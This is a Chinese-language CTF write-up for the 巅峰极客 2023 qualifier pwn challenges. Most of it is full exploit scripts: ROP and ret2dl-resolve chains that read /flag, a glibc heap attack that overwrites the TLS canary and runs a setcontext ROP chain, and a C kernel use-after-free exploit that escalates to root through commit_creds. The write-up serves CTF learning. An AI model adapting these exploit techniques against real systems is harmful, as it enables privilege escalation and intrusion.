巅峰极客 2023 初赛 Pwn WriteUp

当时只出了linkmap,赛后就有师傅说kernel傻逼题,当天晚上也问到了darknote做法。

不过,我老鸽子了。(轻点打)

巅峰极客 2023 初赛 PWN WriteUp

附件下载地址

linkmap wp

一开始以为打 Full RELRO 下的 ret2dl-runtime-resolve,然后去翻paper找gadget用ROP硬凹,然后发现我是傻逼

一个简单的栈溢出,但是没有任何输出函数。

考虑ROPdl-runtime-resolve,很困难,_dl_runtime_resolve_xvzxc没了,找要爬链表,而且相关gadget很难用。

read里的syscall,走mprotectshellcode

got表不可写,但是ret2csu需要的是函数地址,所以把got表中内容拿到bss上改了然后放到r12里就可以了。

先栈迁移扩大读,然后各种ret2csu控制寄存器就可以了。

细节详见exp。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf=ELF("./ezzzz")

if __name__=="__main__":
    # 0x400672:
    # mov rax, [rbp-8]
    # mov [rdx], rax
    # pop rbp
    # ret
    magic=0x400672
    csu1=0x4007DA
    csu2=0x4007C0
    rbp=0x400570
    ret=0x4007E4
    rsp_13__15=0x4007dd
    leave_ret=0x0000000000400715
    add_ebx_esi=0x00000000004005d9
    # add byte ptr [rbp + 5], dh ; jmp 0x400580
    add_rbp_base_dh=0x00000000004005e8
    # DT_DEBUG->d_ptr = *r_debug
    _DT_DEBUG=0x600EC0
    # r_debug->r_map = *link_map
    # link_map->l_next->l_next = *target_link_map
    # target_link_map->l_info[DT_PLTGOT(3)][1][2] = *_dl_runtime_resolve_xsavec
    s=remote("pwn-3516d6634c.challenge.xctf.org.cn", 9999, ssl=True)
    pause()
    s.send(flat([
        b"a"*0x18,
        csu1,0,1,elf.got.read,0xf00,0x601200,0,
        csu2,0,0,0,0,0,0,0,
        rsp_13__15,0x601400-0x18
    ]))
    pause()
    shellcode="""
        mov rdi,0x601400-0x18
        xor rsi,rsi
        xor rdx,rdx
        mov rax,2
        syscall

        push rax
        pop rdi
        xor rax,rax
        mov rsi,0x601a00
        mov rdx,0x100
        syscall
        mov rax,1
        mov rdi,1
        syscall
    """
    s.send(asm(shellcode).ljust(0x200-0x18,b"\x00")+b"/flag\0\0\0"+flat([
        10,ret,
        csu1,0,1,0x601400-8,0x601f00,0,0,
        csu2,0,0,elf.got.read+8,0,0,0,0,
        magic,0,
        csu1,0,1,0x601400-8,0x1000,0,0,
        csu2,0,0,0,0,0,0,0,
        rbp,0x601f00-5,
        add_rbp_base_dh,
        csu1,0,1,0x601400-8,0x601f20,0,0,
        csu2,0,0,0x601400-8,0,0,0,0,
        magic,0,
        csu1,0,1,0x601f00,7,0x1000,0x601000,
        csu2,0,0,0,0,0,0,0,
        0x601200,
    ]))
    s.interactive()
#flag{HIxWafymtSYLkCE6e75iVfbtmeZb1IfG}

某天心血来潮,正值 0xGame & NCTF 临近,就想整个活

假设本题没有可以把地址放到内存中的函数,但是可以解引用到寄存器,且存在add reg,8这种gadget,

FULL RELRO 真的没办法用ret2dl-resolve吗?

提出ret2dl的那篇论文给了一个思路:动态链接库在权衡性能和安全性之后选择的一般都是 `Partial RELRO``

而且所有的struct link_map都在一个链表上(包括主程序和动态链接库),而link_map上有指向got表的指针(是的,libc里是有got表的)

所以理论上只要爬链表就可以拿到got表上的_dl_runtime_resolve_xsavec,之后配合jmp rax就可以了。

当然以上情况建立在gadget完备的前提下。

但是想了想,感觉好像防不住将寄存器内容写入内存……

还有两个月NCTF,希望能整个好活吧。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
from pwn import *
from random import randint
context(arch='amd64', os='linux', log_level='debug')

elf=ELF("./ezzzz")
libc=ELF("./dbg-libc-2.31.so")

if __name__=="__main__":
    # 0x400672:
    # mov rax, [rbp-8]
    # mov [rdx], rax
    # pop rbp
    # ret
    magic=0x400672
    csu1=0x4007DA
    csu2=0x4007C0
    rbp=0x400570
    ret=0x4007E4
    rsp_13__15=0x4007dd
    leave_ret=0x0000000000400715
    add_ebx_esi=0x00000000004005d9
    # add byte ptr [rbp + 5], dh ; jmp 0x400580
    add_rbp_base_dh=0x00000000004005e8
    # DT_DEBUG->d_ptr = *r_debug
    _DT_DEBUG=0x600EC0
    # r_debug->r_map = *link_map
    # link_map->l_next->l_next = *target_link_map
    # target_link_map->l_info[DT_PLTGOT(3)][1][2] = *_dl_runtime_resolve_xsavec
    s=process("./ezzzz")
    #s=remote("pwn-3516d6634c.challenge.xctf.org.cn", 9999, ssl=True)
    pause()
    s.send(flat([
        b"a"*0x18,
        csu1,0,1,elf.got.read,0xf00,0x601200,0,
        csu2,0,0,1,elf.got.read,0xf00,0x601d00-0x18,0,
        csu2,0,0,0,0,0,0,0,
        rsp_13__15,0x601d00-0x18
    ]))
    shellcode="""
        mov r15,0x600ec0
        add r15,8
        mov r15,qword ptr [r15]
        add r15,8
        mov r15,qword ptr [r15]
        add r15,0x18
        mov r15,qword ptr [r15]
        add r15,0x18
        mov r15,qword ptr [r15]
        add r15,0x18
        add r15,0x18
        add r15,0x18
        add r15,8
        add r15,8
        mov r15,qword ptr [r15]
        add r15,8
        mov r15,qword ptr [r15]
        add r15,8
        add r15,8
        mov r15,qword ptr [r15]
        push 1
        mov rdi,0x601378
        push 0
        push 0x601300
        jmp r15
    """
    bss=0x601200
    l_addr=libc.sym.system-libc.sym.__libc_start_main
    r_offset=bss+l_addr*-1
    if l_addr<0: l_addr+=0x10000000000000000
    fake_link_map_addr=bss+0x100
    fake_dyn_strtab_addr=fake_link_map_addr+8
    fake_dyn_symtab_addr=fake_link_map_addr+0x18
    fake_dyn_rel_addr=fake_link_map_addr+0x28
    fake_link_map=flat([
        l_addr,
        0,0x600000,
        0,elf.got.__libc_start_main-8,
        0,fake_link_map_addr+0x38,
        r_offset,7,
    ]).ljust(0x68,b"\x00")+flat([
        fake_dyn_strtab_addr,
        fake_dyn_symtab_addr,
        b"/bin/sh\x00".ljust(0x80,b"\x00"),
        fake_dyn_rel_addr,
    ])
    pause()
    s.send(asm(shellcode).ljust(0x100,b"\x00")+fake_link_map+b"\x00"*0x200)
    pause()
    s.send(flat([b"/flag\x00\x00\x00",10,ret])+flat([
        csu1,0,1,0x601d00-8,0x601f00,0,0,
        csu2,0,0,elf.got.read+8,0,0,0,0,
        magic,0,
        csu1,0,1,0x601d00-8,0x1000,0,0,
        csu2,0,0,0,0,0,0,0,
        rbp,0x601f00-5,
        add_rbp_base_dh,
        csu1,0,1,0x601d00-8,0x601f20,0,0,
        csu2,0,0,0x601d00-8,0,0,0,0,
        magic,0,
        csu1,0,1,0x601f00,7,0x1000,0x601000,
        csu2,0,0,0,0,0,0,0,
        0x601200,
    ]))
    s.interactive()
#flag{HIxWafymtSYLkCE6e75iVfbtmeZb1IfG}

但据说都是已经被玩烂了的东西了emmmm

我好菜啊

darknote

起手先给你个任意分配任意大小堆块的机会。

add直接写在主函数里了,其他三个功能都得先把TLS里的canary扬了才能用。

而且deleteedit直接裸UAF糊脸。但你用不了,你说你气不气?

还有个猜初始化时的随机数,似乎是可以无限堆溢出,但后来看了看没啥用,也就放在那里了。

写死的add也没什么洞,那突破点基本就在最开始的任意大小堆块了。

众所周知分配大堆块位置会在libc周围,但你正常分配的话也没法越界写堆地址(堆块大小和数量对应)

然而,真的是这样吗?

注意到note_cntint,注意到申请的时候会x8,此时会将结果当作int处理,此时若存在溢出……

note_cnt note_cnt*8 malloc_size
0x 20000000 0x1 00000000 0
0x 21000000 0x1 80000000 0x80000000

note_cnt就能覆盖到malloc堆块范围以外的部分了。

此时我们可以做到libc范围内任意写堆地址。

进而不难想到覆盖main_arena中的fastbinsY_0x70实现任意地址分配。

也要注意一下让 fastbin->next == NULL ,要不然在往tcache里甩的过程直接原地爆炸。

反正大小够用往前多空出来几个零也问题不大嘛(

然后我们就可以想一想怎么泄露地址了。

注意到程序的菜单使用的是指针列表:

而且没开PIE,直接把字符串表项覆盖成got表,libc就来了。

TLS相对偏移可以算,哥们直接把TLScanary给扬了,后面就没啥好说的了。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./darknote")
elf=ELF("./darknote")
libc=ELF("./libc-2.31.so")

def menu(ch):
    s.sendlineafter(b">> ",str(ch).encode())

def add(idx,content=b"/flag\x00\n"):
    menu(1)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendafter(b"Note: ",content)

def delete(idx):
    menu(3)
    s.sendlineafter(b"Index: ",str(idx).encode())

def edit(idx,content):
    menu(4)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendafter(b"Note: ",content)

def show(idx):
    menu(2)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.recvuntil(b"Note: ")
    return s.recvline()[:-1]

if __name__=="__main__":
    sleep(5)
    options_array=0x404260
    s.sendlineafter(b"How many dark notes do you want?\n",f"{0x21000000}".encode())
    offset=0x7fb9aeab2000-0x7fb9a6ab1000
    fastbinsY_0x70=int((libc.sym.main_arena+0x28+offset)/8)
    add(fastbinsY_0x70,flat([
        options_array-0x20,0x71,
        options_array-0x20
    ])+b"\n")
    add(0)
    add(1,flat([
        b"/flag\0\0\0",0,
        elf.got.puts
    ])+b"\n")
    s.recvuntil(b"====\n")
    libc.address=u64(s.recv(6).ljust(8,b"\0"))-libc.sym.puts
    success(hex(libc.address))
    tls_start=0x7f606c0825c0-0x7f606be8f000+libc.address
    add(fastbinsY_0x70,flat([
        tls_start-0x20,0x71,
        tls_start-0x20
    ])+b"\n")
    add(2)
    add(3,flat([
        0,0,
        tls_start,tls_start+(0xef0-0x5c0),
        tls_start,0,
        0,0,
    ])+b"\n")
    
    rop=ROP(libc)
    rsp=rop.find_gadget(["pop rsp","ret"])[0]
    rdi=rop.find_gadget(["pop rdi","ret"])[0]
    rsi=rop.find_gadget(["pop rsi","ret"])[0]
    rdx=rop.find_gadget(["pop rdx","ret"])[0]
    rax=rop.find_gadget(["pop rax","ret"])[0]
    syscall_ret=rop.find_gadget(["syscall","ret"])[0]
    ret=rdi+1

    magic=0x151990+libc.address
    delete(2)
    delete(0)
    heap_base=u64(show(0).ljust(8,b"\0"))&(~0xfff)
    success(hex(heap_base))

    edit(0,p64(libc.sym.__free_hook)+b"\n")
    add(0)
    add(5,p64(magic)+b"\n")

    pause()

    add(10,flat([
        0,heap_base+0x380,
        0,0,
        libc.sym.setcontext+61
    ])+b"\n")
    add(11,flat([
        0,0,# 0x80
        0,0,# 0x90
        0,0,
        heap_base+0x460,ret# 0xa0
    ])+b"\n")
    add(12,flat([
        rdi,0,
        rsi,heap_base+0x400,
        rdx,0x1000,
        syscall_ret,
    ])+b"\n")
    delete(10)
    s.send(p64(ret)*0x50+flat([
        rdi,0x404250,
        rsi,0,
        rdx,0,
        rax,2,
        syscall_ret,
        rdi,3,
        rsi,heap_base+0x100,
        rdx,0x100,
        rax,0,
        syscall_ret,
        rdi,1,
        rax,1,
        syscall_ret,
        rax,60,
        syscall_ret,
    ]))
    s.interactive()

mmsg

内核题,但是非预期,跟传世经典baby-driver一个类型的那种。

module_init里申请了kmalloc-32module_closekfree后没把指针置零。open两次close一次就可以UAF

根据大小,这里选择seq_operations栈迁移落回pt_regsROP

后来看了一下,ioctl里可以任意大小分配,但是没法UAF。

问问隔壁师傅有没有预期解wp吧(

以下poc来自tpluszzz

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <fcntl.h>
#include <stddef.h>
#include <signal.h>
 
#define COMMIT_CREDS 0xffffffff8108d350
#define SEQ_OPS_0 0xffffffff8120fac0
#define INIT_CRED 0xffffffff8264c9a0 
#define POP_RDI_RET 0xffffffff8144a9cd
#define SWAP  0xffffffff81c00e54
 
 
#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666
long dev_fd;
long uaf_fd;
 
struct mmsg_arg {
        unsigned long token;
        int top;
        int size;
        char *data; 
};
 
void readChunk(void *buf)
{
    struct mmsg_arg op = 
    {
        .data = buf
    };
    ioctl(dev_fd, MMSG_GET_DESC, &op);
}
 
void writeChunk(void *buf)
{
    struct mmsg_arg op = 
    {
        .data = buf
    };
    ioctl(dev_fd, MMSG_PUT_DESC, &op);
}
size_t user_cs,user_ss,user_rflags,user_sp;
 
void save_status()
{
    __asm__("mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_sp,rsp;"
            "pushf;"
            "pop user_rflags;"
    );
    printf("Save status!\n");
}
 
 
size_t      buf[0x10];
size_t      swapgs_restore_regs_and_return_to_usermode;
size_t      init_cred;
size_t      pop_rdi_ret;
long        seq_fd;
void *      kernel_base = 0xffffffff81000000;
size_t      kernel_offset = 0;
size_t      commit_creds;
size_t      gadget;
 
int main(int argc, char ** argv, char ** envp)
{
    //signal(SIGSEGV,segsegv);
    save_status();
    dev_fd = open("/dev/mmsg", O_RDWR);
    uaf_fd = open("/dev/mmsg", O_RDWR);
    close(uaf_fd);
 
    seq_fd = open("/proc/self/stat", O_RDONLY);
    readChunk(buf);
    write(1,buf[0],8);
    printf("leak kaslr : %llx\n",buf[0]);
    puts("done!");
 
 
    kernel_offset = buf[0] - SEQ_OPS_0;
 
 
    printf("kernel_offse : 0x%llx\n",kernel_offset);
    kernel_base += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAP + kernel_offset;
    init_cred = INIT_CRED + kernel_offset;
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    gadget = 0xffffffff81909b8c + kernel_offset; 
    printf("\n%llx\n",gadget);
 
    buf[0] = gadget;
 
    writeChunk(buf);
    __asm__(
        "mov r15, 0xbeefdead;"
        "mov r14, pop_rdi_ret;"
        "mov r13, init_cred;" 
        "mov r12, commit_creds;"
        "mov rbp, swapgs_restore_regs_and_return_to_usermode;"
        "mov rbx, 0x999999999;"
        "mov r11, 0x114514;"
        "mov r10, 0x666666666;"
        "mov r9, 0x1919114514;"
        "mov r8, 0xabcd1919810;"
        "mov rcx, 0x666666;"
    );
    read(seq_fd,buf,8);
    system("/bin/sh");
    return 0;
}

happy-bridge (未解出 未找到相关WriteUp)

一般堆引用了golang写的库。

开头的checkcheck的逻辑是先base64,然后[a,l]=>[m,x],[m,x]=>[a,l],有点rot13的感觉(准确点说rot12)。

你直接decode给你的最终密文是出不来一整个可见字符串的,得变化一下,变化一下之后就能解码出明文了。

checker过了之后的堆好像没洞?

不懂他这个题洞在哪里。

结合这么长时间都没出,那估计就是没洞了吧(

或者在golang库里?他把malloc重写了?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
from base64 import b64encode, b64decode
context(arch='amd64', os='linux', log_level='debug')
s=process("./happybridge")
elf=ELF("./happybridge")
libx=ELF("./bridge.so")

def dec(cipher):
    """
    new = curr
    if curr in [a,l] or curr in [A,L]
        new = curr + 12
    # [a,l] -> [m,x]
    if curr in [m,x] or curr in [M,X]
        new -= 12
    # [m,x] -> [a,l]
    # write back new
    """    
    new_enc=""
    new_chr=0
    for i in cipher:
        new_chr=i
        if ord('a')<=i<=ord('l') or ord('A')<=i<=ord('L'):
            new_chr+=12
        elif ord('m')<=i<=ord('x') or ord('M')<=i<=ord('X'):
            new_chr-=12
        new_enc+=chr(new_chr)
    # check_RigHt_You1_pWn_T0_i2
    return b64decode(new_enc)

def menu(choice):
    s.sendlineafter(b"$>>:",choice.encode())

def add(sz,content):
    menu("makeit")
    s.sendlineafter(b"size:",str(sz).encode())
    s.sendafter(b"content:",content)

def show(idx):
    menu("censor")
    s.sendlineafter(b"idx:",str(idx).encode())
    return s.recvline()[:-1]

def edit(idx,content):
    menu("repair")
    s.sendlineafter(b"idx:",str(idx).encode())
    s.send(content)

def delete(idx):
    menu("demolition")
    s.sendlineafter(b"idx:",str(idx).encode())

def exit():
    menu("GiveUp")

def init():
    cipher = b"Y2txY2hrIaxbGTFrKK91AJ9kJ25rJPNrmHU="
    payload = dec(cipher)
    s.sendlineafter("input session to pass:".encode(),payload)

if __name__=="__main__":
    init()
    
    s.interactive()
0%